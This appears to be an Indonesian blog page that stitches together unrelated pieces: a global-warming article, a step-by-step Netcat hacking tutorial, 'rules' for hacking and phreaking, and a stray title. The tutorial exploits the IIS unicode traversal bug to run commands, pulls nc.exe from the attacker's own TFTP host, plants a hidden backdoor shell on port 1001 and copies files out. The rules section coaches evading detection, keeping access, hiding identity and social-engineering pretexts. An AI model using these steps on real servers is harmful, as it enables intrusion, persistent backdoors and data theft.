Global Warming

Global Warming

     Pemanasan global berimbas pada semakin ekstrimnya perubahan cuaca dan iklim bumi. Pola curah hujan berubah-ubah tanpa dapat diprediksi sehingga menyebabkan banjir di satu tempat, tetapi kekeringan di tempat lain. Topan dan badai tropis baru akan bermunculan dengan kecenderungan semakin lama semakin kuat.

     Anda tentu menyadari betapa panasnya suhu disekitar Anda belakangan ini. Anda juga dapat melihat betapa tidak dapat di prediksinya kedatangan musim hujan ataupun kemarau yang mengakibatkan kerugian bagi petani karena musim tanam yang seharusnya dilakukan pada musim kemarau ternyata malah hujan. Anda juga dapat mencermati kasus-kasus badai ekstrim yang belum pernah melanda wilayah-wilayah tertentu di Indonesia. Tahun-tahun belakangan ini kita semakin sering dilanda badai-badai yang mengganggu jalannya pelayaran dan pengangkutan baik via laut maupun udara.

     Bila fenomena dalam negeri masih belum cukup bagi Anda, Anda juga dapat mencermati berita-berita internasional mengenai bencana alam. Badai topan di Jepang dan Amerika Serikat terus memecahkan rekor baru dari tahun ke tahun. Anda dapat mencermati informasi-informasi ini melalui media masa maupun internet. Tidak ada satu benua pun di dunia ini yang luput dari perubahan iklim yang ekstrim ini.

     Mencairnya es saat ini berjalan jauh lebih cepat dari model-model prediksi yang pernah diciptakan oleh para ilmuwan. Beberapa prediksi awal yang pernah dibuat sebelumnya memperkirakan bahwa seluruh es di kutub akan lenyap pada tahun 2040 sampai 2100. Tetapi data es tahunan yang tercatat hingga tahun 2007 membuat mereka berpikir ulang mengenai model prediksi yang telah dibuat sebelumnya.

     Menurut peneliti, bongkahan es berbentuk lempengan yang sangat besar itu mengambang permanen di sekitar 1.609 kilometer selatan Amerika Selatan, barat daya Semenanjung Antartika. Padahal, diyakini bongkahan es itu berada di sana sejak 1.500 tahun lalu. “Ini akibat pemanasan global,” ujar ketua peneliti NSIDC Ted Scambos. Menurutnya, lempengan es yang disebut Wilkins Ice Shelf itu sangat jarang runtuh.

     Sekarang, setelah adanya perpecahan itu, bongkahan es yang tersisa tinggal 1.950 kilometer persegi, ditambah 5,6 kilometer potongan es yang berdekatan dan menghubungkan dua pulau. “Sedikit lagi, bongkahan es terakhir ini bisa turut amblas. Dan, separo total area es bakal hilang dalam beberapa tahun mendatang,” ujar Scambos.


     Antartika di Kutub Selatan adalah daratan benua dengan wilayah pegunungan dan danau berselimut es yang dikelilingi lautan. Benua ini jauh lebih dingin daripada Artik, sehingga lapisan es di sana sangat jarang meleleh, bahkan ada lapisan yang tidak pernah mencair dalam sejarah. Temperatur rata-ratanya minus 49 derajat Celsius, tapi pernah mencapai hampir minus 90 derajat celsius pada Juli 1983. Tak heran jika fenomena mencairnya es di benua yang mengandung hampir 90 persen es di seluruh dunia itu mendapat perhatian serius peneliti.

Tutorial Hacking Menggunakan Netcat

Tutorial Hacking Menggunakan Netcat

     Netcat merupakan tools yang banyak dipakai para hacker. Kepopulerannya terlihat dari hasil
survey lebih dari 1000 pengguna Nmap pada tahun 2000 dan 2003 yang menempatkannya pada
urutan 5 besar, yaitu urutan ke 2 pada tahun 2000 dan urutan ke 4 pada tahun 2003.
Tools ini sering disebut sebagai “TCP/IP Swiss Army Knife”-nya para hacker. Versi orisinalnya
ditulis untuk sistem operasi Unix oleh Hobbit (hobbit@avian.org) pada tahun 1995. Versi
Windows NT dikerjakan oleh Weld Pond (weld@l0pth.com).
Fitur dari Netcat antara lain adalah:
• Dapat mebangun koneksi Outbound dan inbound dengan TCP atau UDP, di dan dari
port mana saja.
• Dapat membaca argumen pada command line dari standar input
• Full DNS forwarding/reverse checking
• Kemampuan untuk menggunakan any local source port
• Kemampuan menggunakan any locally-configured network source address
• Tersedia port scanning secara built-in
• Dan lain-lain
Dengan fitur di atas, banyak para hacker dan pengelola sistem memanfaatkan untuk melakukan
hal-hal sebagai berikut:
• Scanning port dan menginventori service-service yang terpasang pada server
• File transfer
• Pengujian dan simulasi terhadap server
• Pengujian terhadap firewall, proxy dan gateway
• Pengujian performance network
• Pengujian address spoofing
• Banner grabbing
 Beberapa fitur dan pemanfaatan Netcat akan dijelaskan di bawah. Namun kami harus selalu
mengingatkan Anda, jangan pernah mencoba kemampuan netcat di sistem komputer yang
bukan milik anda sendiri !
Instalasi Netcat
Saat ini Netcat telah tersedia tidak saja pada sistem operasi Unix dan Linux, melainkan juga
pada sistem operasi Windows.
Pada tulisan ini kami menggunakan Netcat dengan sistem operasi Windows. Semua perintah
pada command line sama dengan perintah yang terdapat pada Netcat dengan sistem operasi
Unix.
Instalasi Netcat pada sistem operasi Windows sangat sederhana. Pertama Anda dapat
mendownload dari situs http://www.atstake.com/research/tools/network_utilities/ atau di
banyak situs hacker lainnya. Namun demikian Anda harus waspada jika mendownload dari situs
yang tidak Anda kenal betul, bisa jadi tools Netcat-nya sudah dimodifikasi menjadi trojan horse
yang dapat mengganggu sistem Anda
Kemudian Anda cukup melakukan unzip terhadap file yang telah Anda download yaitu
nc11nt.zip ke dalam sebuah direktori sebagai berikut:
C:\TMP\NETCAT> dir
Volume in drive C has no label.
Volume Serial Number is 141F-1208
Directory of C:\TMP\NETCAT
02/23/2003 05:03 PM <DIR> .
02/23/2003 05:03 PM <DIR> ..
11/03/1994 07:07 PM 4,765 GETOPT.H
01/04/1998 03:17 PM 69,081 NETCAT.C
01/03/1998 02:37 PM 59,392 NC.EXE
11/28/1997 02:48 PM 12,039 DOEXEC.C
11/28/1997 02:36 PM 544 MAKEFILE
11/06/1996 10:40 PM 22,784 GETOPT.C
07/09/1996 04:01 PM 7,283 GENERIC.H
02/06/1998 03:50 PM 61,780 HOBBIT.TXT
02/06/1998 05:53 PM 6,771 README.TXT
02/22/2000 11:24 AM 2,044 AVEXTRA.TXT
10 File(s) 246,483 bytes
2 Dir(s) 8,868,044,800 bytes free
C:\TMP\NETCAT>
File utama yang perlu Anda perhatikan hanyalah nc.exe saja, file lainnya perlu Anda perhatikan
bila Anda perlu melakukan kompilasi ulang.
Memulai Netcat
Sebelum memulai, sebaiknya Anda perlu mengetahui fasilitas apa saja yang tersedia pada
Netcat. Untuk itu Anda dapat memulai dengan melihat option yang tersedia. Untuk mengetahui
option yang tersedia pada Netcat, cukup memanggil help-nya pada Dos prompt sebagai berikut:
C:\TMP\NETCAT> nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
 options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
C:\TMP\NETCAT>
Secara umum perintah Netcat memiliki struktur sebagai berikut:
C:\> nc –opsi <host> <port>
Port Scanning
Seperti juga pisau Swiss Army yang memiliki banyak mata pisau beraneka fungsi, maka Netcat
juga memiliki aneka fungsi yang dimiliki tools lainnya, salah satunya adalah “mata pisau” port
scanning
Walaupun tidak selengkap dan secanggih tools Nmap atau Supercan, Netcat dapat digunakan
untuk melihat port mana saja yang terbuka. Berikut ini contoh untuk memeriksa status port web
dari port 10 s./d port 140 dari situs web tertentu, sebagai berikut:
C:\TMP\NETCAT> nc -v -z server01 10-140
server01 [128.1.9.81] 139 (netbios-ssn) open
server01 [128.1.9.81] 113 (auth) open
server01 [128.1.9.81] 110 (pop3) open
server01 [128.1.9.81] 98 (?) open
server01 [128.1.9.81] 80 (http) open
server01 [128.1.9.81] 79 (finger) open
server01 [128.1.9.81] 25 (smtp) open
server01 [128.1.9.81] 23 (telnet) open
server01 [128.1.9.81] 21 (ftp) open
C:\TMP\NETCAT>
Perintah di atas akan melakukan scanning port 10 s/d 140 dari host server01 dengan address IP
128.1.9.81. Option –z merupakan option yang dipergunakan untuk melakukan scanning.
Banner Grabbing
Salah satu cara mendapatkan informasi mengenai sistem operasi dan aplikasi yang dijalankan
oleh sebuah host adalah dengan melakukan banner grabbing atau membaca informasi yang ada
di dalam banner sebuah sistem.
Berikut ini kemampuan Netcat untuk mengambil header suatu situs web yang biasanya
menyimpan informasi penting sebagai berikut (Jangan lupa ketikkan “Get/HTTP” seperti
terlihat pada baris kedua dari contoh hasil di atas.)

C:\TMP\NETCAT> nc -v -n 128.1.71.103 80
(UNKNOWN) [128.1.71.103] 80 (?) open
get http
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Sat, 11 Oct 2003 03:34:24 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is incorrect. </body>
</html>
C:\TMP\NETCAT>
Penggunaan option –n diperlukan jika address yang Anda berikan adalah berupa nomor IP. Jika
berupa address internet, anda tidak memerlukan option –n tersebut. Port yang diuji adalah port
80.
Dari contoh di atas Anda dapat mengetahui bahwa sistem operasi yang dipergunakan adalah
Microsoft dengan IIS/5.0.
Perhatikan contoh berikutnya:
C:\TMP\NETCAT> nc -v www.cobacoba.com 80
www.cobacoba.com [128.1.9.9] 80 (http) open
get/http
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
get/http to /index.html not supported.<P>
Invalid method in request get/http<P>
<HR>
<ADDRESS>Apache/1.3.12 Server at www.cobacoba.com Port 80</ADDRESS>
</BODY></HTML>
C:\TMP\NETCAT>
Pada contoh di atas tidak menggunakan option –n karena address yang digunakan adalah bukan
nomor IP. Dari hasil di atas tidak terlihat sistem operasinya tetapi terlihat bahwa host tersebut
menggunakan Apache Versi 1.3.12.
Skenario Menyusup ke dalam Server Web!
Untuk menyusup ke dalam server web diperlukan beberapa langkah dan ketrampilan tersendiri.
Tidak saja ketrampilan menggunakan Netcat, tetapi juga pengetahuan kita mengenai sistem
target. Dalam contoh skenario kali ini, kita akan menyusup ke sebuah server web yang
menggunakan sistem operasi Windows 2000 dengan IIS 5.0. Untuk itu diperlukan pemahaman
mengenai sebuah bugs dari Microsoft IIS 5.0, yaitu unicode bugs, yang sampai saat ini masih
saja ada server web yang belum dipasang patch karena kelalaian atau ketidaktahuan sang
pengelola sistem.
Fokus kita bukan mengenai apa dan bagaimana bugs Microsoft tersebut, melainkan bagaimana
memanfaatkan Netcat untuk melakukan penyusupan dan bahkan download dokumen dari server
web. Perhatikan, semua dilakukan dengan satu tools, Netcat saja, walaupun bisa saja Anda
menggunakan tools-tools lainnya. Itu sebabnya Netcat disebut sebagai “TCP/IP Swiss Army
Knife”

Mari kita memulai dengan mencari server web yang menggunakan Microsoft Windows 2000
dengan IIS versi 5.0 sebagai berikut (sebagian akan menggunakan option dari netcat yang telah
dijelaskan di atas):
C:\TMP\NETCAT> nc -v -z ristbook 20-80
ristbook [128.1.71.103] 80 (http) open
ristbook [128.1.71.103] 25 (smtp) open
ristbook [128.1.71.103] 21 (ftp) open
C:\TMP\NETCAT>
OK, terlihat server ristbook membuka port 80 yang ada diduga merupakan server web.
Selanjutnya Anda perlu menyelidiki, adakah server ristbook merupakan server web
menggunakan Microsoft dan IIS 4.0/5.0?
C:\TMP\NETCAT> nc -v ristbook 80
ristbook [128.1.71.103] 80 (http) open
get http
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Sat, 11 Oct 2003 08:51:34 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is incorrect. </body>
</html>
C:\TMP\NETCAT>
Aha, ternyata server tersebut merupakan server web yang menggunakan Microsoft dengan IIS
5.0. Selanjutnya kita akan menguji apakah server web ini sudah memasang patch dan terhindar
dari bugs unicode ?
C:\TMP\NETCAT> nc -v ristbook 80
ristbook [128.1.71.103] 80 (http) open
get http://ristbook/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Sat, 11 Oct 2003 09:06:52 GMT
Content-Type: application/octet-stream
Volume in drive C has no label.
Volume Serial Number is 0C42-12EA
Directory of c:\
09/17/2001 11:46a 1,012 FRUNLOG.TXT
09/17/2001 11:35a <DIR> WINDOWS
09/17/2001 11:58a <DIR> My Documents
09/17/2001 11:35a <DIR> Program Files
09/17/2001 12:43p <DIR> ATI
05/05/1999 09:20a 31,512 MAESTRO.COM
09/17/2001 12:50p 0 CONFIG.AGO
05/05/1999 09:20a 11,084 AECU.SYS
09/26/2003 08:35p 30 mstrinf.ini
09/17/2001 12:50p 0 AUTOEXEC.AGO
07/01/2003 07:22p <DIR> museum
06/06/2001 06:28a 1,071 my_cnf.bak
06/25/2002 07:35p 697 FRONTPG.LOG
08/29/2003 04:16p <DIR> NAV2001
08/29/2003 04:51p <DIR> ServicePack
01/28/2002 03:45p <DIR> HTML
06/17/2002 06:17p 22 autoexec.nav
09/19/2003 04:49p <DIR> denny
08/27/2003 06:38p 28,290 SCANDISK.LOG
04/05/2003 06:53a 967 command.PIF
06/09/2002 10:16p 442 SETUPXLG.TXT
10/05/2001 03:33p 40,923 c1605r-psn.txt
01/04/2002 12:20p <DIR> tmp
10/24/2001 02:32p <DIR> tms20
06/27/2001 11:57p 1,574 index.html.no



11/13/1998 01:23a 106,496 sqlsun.dll
01/28/2002 03:52p 289 sqlsunin.ini
09/26/2003 12:29p 157,817 winzip.log
01/28/2002 03:53p 85,526 Uninst.isu
12/13/2001 04:30p 317 Shortcut to cuteftp.exe.lnk
06/21/2002 10:34a <DIR> Acrobat3
01/22/2002 03:18p <DIR> My Received Files
01/28/2002 03:49p <DIR> LOG
07/30/2002 01:40p 34,565 atapi.exe
04/06/2003 06:41p 82 asoy.ftp
01/28/2002 03:45p <DIR> Upgrade
12/07/1999 07:00p 236,304 cmdkoe.exe
01/28/2002 03:45p <DIR> Install
06/25/2002 07:34p <DIR> Inetpub
07/05/2002 07:02p <DIR> Documentation
02/12/2002 01:28p 227,467 datacenter1.jpg
02/09/2002 03:29p 2,920 datacenterthumb.jpg
11/15/2001 03:07p 3,384 sqlnet.log
09/17/1999 06:38p 1,234 Table of Contents.htm
06/26/2002 03:22p <DIR> ftproot
26 File(s) 974,025 bytes
19 Dir(s) 119,435,264 bytes free
C:\TMP\NETCAT>
Ooops, tampaknya pengelola sistemnya lalai dan belum dipasang patchnya untuk bugs unicode.
OK, Anda dapat melanjutkan langkah berikutnya dengan menyusupkan tools serba guna kita ke
dalam server web tersebut, ya, mengcopykan netcat ke dalam server tersebut ! Dengan
meletakkan tools serba guna Netcat pada server web, maka Anda dapat mengendalikan server
web tersebut dengan leluasa.
Salah satu cara menyusupkan netcat ke dalam ke dalam server web tersebut adalah
memanfaatkan service tftp (Trivial File Transfer Protocol). Anda dapat memerintahkan server
web target Anda untuk mengupload netcat dari tftp server yang terpasang di komputer Anda.
Untuk itu Anda harus mengaktifkan atau menginstall tftp server pada komputer Anda, jika
belum tersedia. Jika komputer Anda menggunakan sistem operasi Windows, Anda dapat
menginstall aplikasi freeware tftpd32 buatan Philippe Jounin (ph.jounin@computer.org) yang
dapat Anda download dari http://membres.lycos.fr/phjounin/ atau dari situs-sistus hacker
lainnya.
Selanjutnya Anda dapat mengaktifkan tftp server sebagai berikut:



Kemudian masukkan program Netcat yang akan Anda upload ke server web target ke dalam
direktori tftp dari komputer Anda yang telah diinstall tftp. Atau Anda dapat mengarahkan base
directory dari tftp ke direktori program Netcat Anda.
OK, sampai disini Anda telah menyiapkan tftp di komputer Anda yang di dalam base
directorinya berisi Netcat. Selanjutnya kita tak akan membahas lebih detail soal tftpd32, karena
kita akan memfokuskan pada pemanfaatan Netcat.
Langkah selanjutnya untuk mengupload Netcat ke server tujuan menggunakan instruksi Netcat,
sebagai berikut:
C:\TMP\NETCAT> nc -v ristbook 80
ristbook [128.1.71.103] 80 (http) open
get http://ristbook/scripts/..%255c../winnt/system32/cmd.exe?/c+tftp+-i+128.1.99
.25+get+nc.exe
HTTP/1.1 502 Gateway Error
Server: Microsoft-IIS/5.0
Date: Sun, 26 Oct 2003 11:00:54 GMT
Content-Length: 215
Content-Type: text/html
<head><title>Error in CGI Application</title></head>
<body><h1>CGI Error</h1>The specified CGI application misbehaved by not returnin
g a complete set of HTTP headers. The headers it did return are:<p><p><pre></pr
e>
C:\TMP\NETCAT>
Langkah di atas adalah memerintahkan server web untuk mengupload nc.exe menggunakan
perintah tftp –i 128.1.99.25. IP 128.1.99.25 merupakan komputer Anda yang telah
terpasang tftp server.
Ya, program netcat.exe telah berhasil ditransfer ke server tujuan. Jika Anda menggunakan
tftpd32 pada komputer Anda, maka di layar tftp akan terlihat pesan transfer sukses sebagai
berikut:
Artikel Populer IlmuKomputer.Com
Copyright © 2003 IlmuKomputer.Com
8
Nah, dengan Netcat sudah terpasang diserver tujuan, Anda dapat dengan mudah mengendalikan
server tersebut !
Backdoor
Sudah menjadi kebiasaan para hacker apabila menyusup ke sebuah sistem senantiasa
meninggalkan backdoor. Dengan backdoor Anda dapat masuk dan keluar melalaui jalan pintas
tanpa harus melalui jalur yang semestinya.
Yang perlu Anda lakukan adalah mengaktifkan perintah Netcat yang telah Anda upload pada
server web di atas dengan perintah berikut ini:
C:\NETCAT> nc –L –p 1001 –d –e cmd.exe
C:\NETCAT>
Opsi –L merupakan mode listening, opsi –p menujukkan koneksi dilakukan via port 1001 dan
Anda dapat menggunakan port lainnya jika diperlukan untuk mengecoh firewall. Opsi
berikutnya yang sangat dahsyat adalah –d yaitu agar telnet dijalankan secara tersembunyi atau
stealth. Opsi terakhir –e akan mengeksekusi perintah command.exe untuk dipergunakan oleh
koneksi yang masuk.
Masih ingat bagaimana mengeksekusi perintah di atas pada server web melalui komputer Anda
?
C:\TMP\NETCAT> nc -v ristbook 80
ristbook [128.1.71.103] 80 (http) open
get http://ristbook/scripts/..%255c../winnt/system32/cmd.exe?/c+nc+-L+-p+1001+-
d+-e+cmd.exe
Netcat akan listening pada port 1001. Selanjutnya anda dapat mengakses backdoor dari
komputer Anda sebagai berikut:
C:\TMP\NETCAT> ipconfig (command menunjukkan nomor IP pada komputer Anda)
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 128.1.99.25


Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 128.1.99.25
C:\TMP\NETCAT> nc -v ristbook 1001
ristbook [128.1.71.103] 1001 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
d:\inetpub\scripts> ipconfig (command menunjukkan nomor IP komputer saat ini)
ipconfig
Windows 2000 IP Configuration
Ethernet adapter Local Area Connection 3:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 169.254.1.1
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . :
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 128.1.71.103
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . :
d:\inetpub\scripts> dir
Perhatikan pada saat perintah ipconfig yang pertama, menunjukkan nomor IP komputer
Anda, yaitu 128.1.99.25. Setelah dilakukan perintah nc –v ristbook 1001, Anda masuk ke
server web target. Perintah ipconfig memperlihatkan anda berada di dalam server web,
yaitu IP 128.1.71.103 dan 169.254.1.1 yang ternyata memiliki 2 IP address.
Cara yang sama dengan di atas adalah mengunakan telnet dengan port 1001 sebagai berikut:
C:\> telnet ristbook 1001
Microsoft(R) Windows 98
(C)Copyright Microsoft Corp 1981-1999.
C:\NETCAT> dir
Cara lain Transfer File
Jika Anda sudah berada di dalam sistem target, pasti Anda tertarik untuk mendownload data
dari sistem target ke komputer Anda atau sebaliknya mengupload data Anda ke sistem target.
Selain menggunakan tftp, Anda dapat melakukan dengan netcat sebagai berikut:
Pada server web target di atas ketikkan perintah:
Nc –l –p 55555 < namafile.pdf
Pada komputer Anda yang akan menerima file ketikkan perintah:
Nc –v 128.1.71.63 > namafile.pdf
NOTERIST [128.1.71.63] 55555 (?) open
^C




Tekan kontrol-C jika file telah selesai Anda transfer. Metode ini sering disebut metode pull. Jika
Anda ingin mengirim file atau upload data dari komputer Anda ke sistem target, maka yang
perlu dilakukan adalah sebagai berikut:
Pada server web target di atas ketikkan perintah:
Nc –l –p 55555 > namafile2.pdf
Pada komputer Anda yang akan mengirim atau upload file ke sistem target ketikkan perintah:
Nc 128.1.71.63 55555 < namafile2.pdf
^C
Masih banyak fasilitas lain yang dapat Anda coba sendiri dari netcat.
Penutup
Untuk keperluan hacking yang lebih spesifik, mungkin masih banyak tools yang dapat Anda
pakai selain netcat. Namun jika Anda harus megerjakan banyak hal dengan seminimal mungkin
tools, maka netcat pilihan yang tepat dan itu sebabnya Netcat disebut sebagai “TCP/IP Swiss
Army Knife”-nya para hacker.
Bagi pengelola sistem komputer, Anda perlu mewaspadai apabila ditemukan Netcat di dalam
server Anda! Beberapa Anti Virus mengidentifikasi Netcat sebagai “virus” yang perlu di
waspadai dan dikarantina.
Seperti juga pisau “Swiss Army”, di tangan orang yang tepat, tools ini akan sangat bermanfaat!
Referensi
• “Netcat – The Swiss Army Knife”, muts@secureIT.co.il
• Stuart McClure, Joel Scambray, George Kurtz "Hacking Exposed: Network Security Secrets
and Solutions", McGraw-Hill Professional Publishing, 2003.
• Tom Armstrong, “Netcat – TheTCP/IP Swiss Army Knife”, SANS Institute 2000-2002
• “Top 75 Security Tools”, Insecure.org,

Peraturan Hacking & Phreaking

Peraturan Hacking & Phreaking

     Hacking dan Phreaking ialah 2 sebutan saja atau 2 buah istilah saja yang masing-masing tujuannya sama
yaitu agar sipelaku bisa masuk ke dalam suatu sistem dengan cara yang tidak semestinya atau cara yang
tidak sah dengan membawa maksud dan tujuan tersendiri.
Dalam ber’hacking atau ber’phreaking, setidaknya harus memiliki aturan-aturan yang walaupun sifat
dari aturan ini tidak mengikat dan tidak berdasar hukum atau bersifat relatif. Tapi setidaknya dengan
aturan-aturan ini, anda para User yang berminat berkelana lebih jauh bisa membatasi diri agar tidak
merugikan orang lain, tidak merugikan instansi lain, dan tentu saja jangan sampai hal-hal hacking itu
bisa merugikan diri anda sendiri terlebih keluarga anda.?
Pada zaman sekarang ini, kalimat “Hacking” sepertinya sudah mulai biasa terdengar di kalangan User
PC terutama berbicara Security PC. Kata “Hacking” sendiri lebih banyak dikenal masyarakat maya
dengan sentimen yang negatif dikarenakan sifat dari Hacking ini lebih banyak yang bersifat merusak.
Dan mulai lebih terkenal lagi atau naik pamornya di Indonesia, tepatnya saat PEMILU yang lalu dimana
situs KPU di deface oleh Hacker lokal.
Mengapa harus Hacking & Mengapa harus Phreaking ?
Benar juga...kenapa harus hacking atau phreaking ?
Suatu pertanyaan yang bagus untuk ditanyakan oleh anda yang sebenarnya belum berminat di dunia
Hacking ini dan belum tahu tujuan untuk apa hacking itu.
Suatu pertentangan negatif lagi, saat bicara soal hacking dan juga banyak pihak yang masih salah kaprah
dan juga masih banyak para pakar-pakar komputer yang masih melarang-larang agar kita tidak usah
menjadi hacker. Emang sih, kata hacking/hacker cukup disegani, ini dikarenakan contoh-contoh kasus
perbuatan dari para hacker sendiri yang cukup banyak yang bercorak negatif dan juga jarangnya
informasi yang dimana informasi itu menceritakan suatu perbuatan baik dari para hacker.
Hacking ibarat pisau, bisa digunakan untuk yang baik untuk memotong sayur dan bisa juga yang salah
yaitu menusuk orang. Disini kembali lagi pada faktor manusianya, dimana dia sebagai seorang hacker
menggunakan kemampuannya itu untuk hal yang baik atau hal yang buruk.
Untuk apa Hacking, apakah berguna ?
Mengenai permasalahan berguna atau tidak, kembali ke siapa pihak itu. Kata hacking tentu saja akan
lebih berguna bagi mereka yang berkecimpung di dunia komputer. Hacking tentu saja tidak berguna jika
kita berbicara hacking pada seorang supir taxi, atau mungkin berbicara hacking pada orang yang bekerja
sebagai satpam supermarket.
Hacking adalah pengetahuan, memperoleh pengetahuan dan berbagi pengetahuan ialah kunci kebebasan
ilmu pengetahuan dan juga belajar untuk mengenal lebih jauh agar tidak terbelenggu dengan kemajuan
teknologi yang semakin hari semakin cepat berkembangnya. Hacking sendiri sebenarnya juga
merupakan suatu bentuk peningkatan usaha belajar, dan dimana sifat pembelajaran itu mulai naik dan
naik lagi sampai ke taraf level internasional dan berkompetensi untuk meningkatkan standar
pengetahuan dalam dirinya. Dimana level kompetensi internasional itu dapat dilakukan di suatu dunia
yang bernama Internet.
Hacking.
Hacking adalah suatu tindakan memasuki suatu sistem orang lain secara tidak sah untuk dapat
mengetahui bahkan mempelajari segala jenis kegiatan dan cara kerja dari sistem yang dia masuki itu.
Itu pengertian singkatnya. Ada yang mau nambah ?
Aturan-aturan Hacking :
1. Jangan pernah menghancurkan atau merusak suatu sistem orang lain. Ini cuma akan membuatmu
dalam masalah dan tidak berguna merusak sesuatu milik orang lain. Dosa tau !!!
2. Jangan merubah setting file atau system file manapun, kecuali kamu melakukannya untuk hal
supaya kamu tidak bisa terdeteksi. Dan hal itu dapat menjamin kamu supaya bisa masuk ke sistem
itu lagi di suatu hari nanti.
3. Jangan berbagi informasi tentang suatu proyek hacking yang sedang kamu lakukan atau yang
sedang kamu rencanakan kepada orang lain. Hal ini bisa saja membahayakan kamu dan dia, bila
ingin bekerja sama pilihlah partner sesuai hati nuranimu dan itu resikomu.
4. Bila ingin berbagi suatu proyek hasil hacking’mu kepada publik, itu sah-sah saja tapi
implementasinya tidak 100%. Kamu harus hati-hati mempresentasikan proyekmu yang berhasil itu
dengan sedikit samar-samar agar tidak terkena hukum, karena proyekmu itu pasti sudah dalam
pengawasan hukum.
5. Jangan pernah menggunakan nama asli ataupun nomor telepon yang asli saat kamu ingin berbagi
proyek hackingmu itu kepada media umum/publik, walaupun kamu bermaksud baik.
6. Jangan pernah meninggalkan suatu sistem yang pernah kamu hack itu. Kecuali untuk tantangan
yang lebih baru dan lebih asyik.
7. Jangan pernah meng’hack sistem komputer milik pemerintah.
8. Jangan sekali-kali berbicara hacking saat kau menggunakan telepon rumahmu.
9. Jadilah seorang yang penakut untuk berjaga-jaga. Simpan atau amankan semua benda-benda atau
peralatan hackingmu ditempat yang aman.
10. Untuk jadi hacker yang sebenarnya, kau perlu menghack (praktek lapangan). Berkelana di dunia
Internet Kamu tidak bisa hanya duduk dan membaca puluhan buku hacking atau puluhan
dokumen file hacking yang kamu dapatkan dari Internet. Itu semua bukanlah yang dinamakan
hacking yang sebenarnya.
11. Jika ingin disebut Hacker yang bermoral baik, anda bisa mencoba meng’hack puluhan bahkan
ratusan situs-situs porno yang ada di Internet. Dimana situs-situs porno tersebut adalah bersifat
negatif dan merusak mental serta moral anak negeri. ?
Tokoh Hacker : Adrian Lamo, usia muda dan berbakat.
Menemukan kelemahan : Hanya dengan menggunakan suatu Web
browser saja, Adrian Lamo saat itu dia masih berusia 21 thn.
Mengutak-atik pertahanan WorldCom saat diakhir musim dingin, ia
menemukan URLs yang berisi Angka-angka Jaminan Sosial dan
daftar-daftar gaji, dimana semua itu tidak terlindungi. Setelah
menemukan itu. Ia menyusupkan pengintai(spy) ke WorldCom
sebelumnya, ia menaklukan datastream’nya WorldCom. Setelah itu,
Lamo melaporkan kelemahan ke Worldcom dan bersama-sama
mereka ikut membantu memperbaiki kelemahan(hole) itu. ???
Adrian Lamo
Phreaking.
Phreaking adalah praktek hacking menggunakan telepon, atau mempergunakan media telepon atau
peralatan telepon agar si pelaku bisa masuk ke sistem tersebut. Di negara kita phreaking ini belum begitu
populer dilakukan.
Sifat dari phreaking ini sebenarnya akan sangat berhasil bila dikombinasikan dengan teknik Social
Engineering adalah bersifat menipu lewat percakapan ditelepon agar dia bisa diberikan izin akses
langsung dari si pemilik/si pengelolah sistem ke sistem yang dituju tersebut.
Contoh Phreaking dikombinasikan Social Engineering ; Sudah 14 hari anda melakukan hacking tapi
sayang tidak berhasil, selanjutnya anda menelpon dan minta izin masuk ke server itu seolah-olah anda
adalah bos dari kantor pusat di Jakarta yang sedang mencari data perusahaan dan dia mematuhi anda dan
segera memberikan anda izin untuk masuk ke server itu,...selanjutnya cling, anda sukses.
Aturan-aturan Phreaking :
1. Jangan menggunakan telepon rumahmu untuk hal yang ini.
2. Janglahlah berbicara mengenai suatu proyek phreaking ditelepon rumahmu.
3. Jangan gunakan nama aslimu saat phreaking.
4. Berhati-hatilah kepada siapa kamu menceritakan proyek phreaking’mu itu.
5. Jangan sampai terlihat benda-benda untuk phreaking’mu itu. Simpanlah ditempat aman.
6. Jangan sampai tertangkap atau tersadap.
Lain-lain...
Cracking Software adalah juga sebuah pembelajaran mengenai mempelajari sistem cara kerja suatu
software dan memodifikasinya sesuai selera kita. Tapi dalam hal ini, cracking software lebih banyak
berbau negatif. Ini dikarenakan cracking tersebut hasilnya lebih banyak dialokasikan untuk pembajakan
software dimana yang sangat dirugikan disini adalah sang pembuat software tersebut. Coba saja jikalau
anda yang bersusah-susah payah membuat sebuah software program selama waktu 5 bulan, dan dimana
software program tersebut untuk anda jual tetapi anda malah tidak mendapatkan keuntungan maximal
dikarenakan software anda itu dibajak dan hal itu tidak menghargai usaha anda.
Carding singkatnya adalah pencurian nomor kartu kredit orang lain yang kemudian dengan uang orang
lain itu, kita pergunakan sesuka kita. Singkatnya = mencuri uang orang untuk kita belanjakan.
Sungguh hal paling menyedihkan dari segala jenis bentuk hacking atau cracking. Mencuri uang hasil
kerja milik orang lain.

Cara ampuh perbaiki USB Flashdisk yang rusak

